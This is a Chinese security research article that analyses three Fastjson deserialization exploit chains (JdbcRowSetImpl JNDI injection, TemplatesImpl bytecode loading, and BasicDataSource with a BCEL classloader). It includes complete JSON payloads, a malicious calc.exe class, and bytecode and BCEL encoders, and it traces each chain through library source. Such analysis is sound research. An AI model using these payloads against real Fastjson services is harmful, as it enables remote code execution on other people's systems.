一起来看看Fastjson的三种漏洞利用链
作者 | 4ra1n
Fastjson已被大家分析过很多次，本文主要是对三种利用链做分析和对比
JdbcRowSetImpl
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
payload中的a对象用来当作缓存绕过，需要关注的是第二个对象
注意到其中"autoCommit":true，反序列化时，会反射设置属性，调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// conn为空才会调用到这里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入com.sun.rowset.JdbcRowSetImpl.connect()，触发lookup，加载远程恶意对象
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
// conn为空且dataSourceName不为空才会到这里
InitialContext var1 = new InitialContext();
// 成功触发JNDI注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入decodeObject方法，看到加载了远程Reference绑定的恶意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结：
实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广 必须能出网，加载远端的恶意字节码，造成了局限性
TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
注意其中的Payload来自于恶意类，该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
类似第一条链，使用两个对象绕过，其中的Payload为恶意类的字节码再Base64编码的结果，给出简易的py脚本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
该链需要开启Feature.SupportNonPublicField参数再反射设置属性，查看官方说明，如果某属性不存在set方法，但还想设置值时，需要开启该参数，这里的情况正好符合，而实际项目中很少出现这种情况，导致该链较鸡肋，没有实际的意义（其实TemplateImpl类中有set方法，比如setTransletBytecodes，但是名称和Bytecodes不一致）
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......
反序列化时，fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入defineTransletClasses，对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题，将在上方的newInstance方法中实例化该类，造成RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
为什么_bytescode要对字节码进行base64编码？反序列化的过程中会调用很多类，在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候，会对字段进行一次base64的解码
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......
跟入lexer.bytesValue()方法，看到decodeBase64
public byte[] bytesValue() {
......
// base64解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
总结：
TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手 需要开启 Feature.SupportNonPublicField，实战中不适用
BasicDataSource
String payload = "{\n" +
" \"name\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"y\": {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
" \"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);
这个Payload适用于1.2.37版本，并且需要导入Tomcat相关的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成driverClassName的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL的全名是Apache Commons BCEL，Apache Commons项目下的一个子项目，包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用：Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码；Utility 用于将原生的字节码转换成BCEL格式的字节码。
生成的BCEL格式大概如下：
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格式的字符串，作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化，当我们在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞
回到Payload，开头一部分用于绕Fastjson黑白名单，没有什么特殊的意义，核心部分如下：
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
这个版本利用的是$ref这个特性：当fastjson版本>=1.2.36时，我们可以使用$ref的方式来调用任意的getter，比如这个Payload调用的是x.y.c.connection，x是这个大对象，最终调用的是c对象的connection方法，也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {
// 传入的ref是$.x.y.c.connection，匹配到else
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 将$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 处理后设置到context
parser.setContext(context, object, fieldName);
漏洞的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
// 看到eval感觉有东西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
跟入JSONPath.eval，这里的segement数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 继续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
到达com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
继续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {
val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次循环到达这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = fieldInfo.get(object);
到达com.alibaba.fastjson.util.FieldInfo，达到最终触发点：method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到这里的javaObject正是BasicDataSouce
回到BasicDataSource本身
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点，其中driverClassName和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL...这种格式后，在newInstance方法执行后被实例化。第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
总结：
不需要出网，不需要开启特殊的参数，适用范围较广 目标需要引入tomcat依赖，虽说比较常见，但也是一种限制
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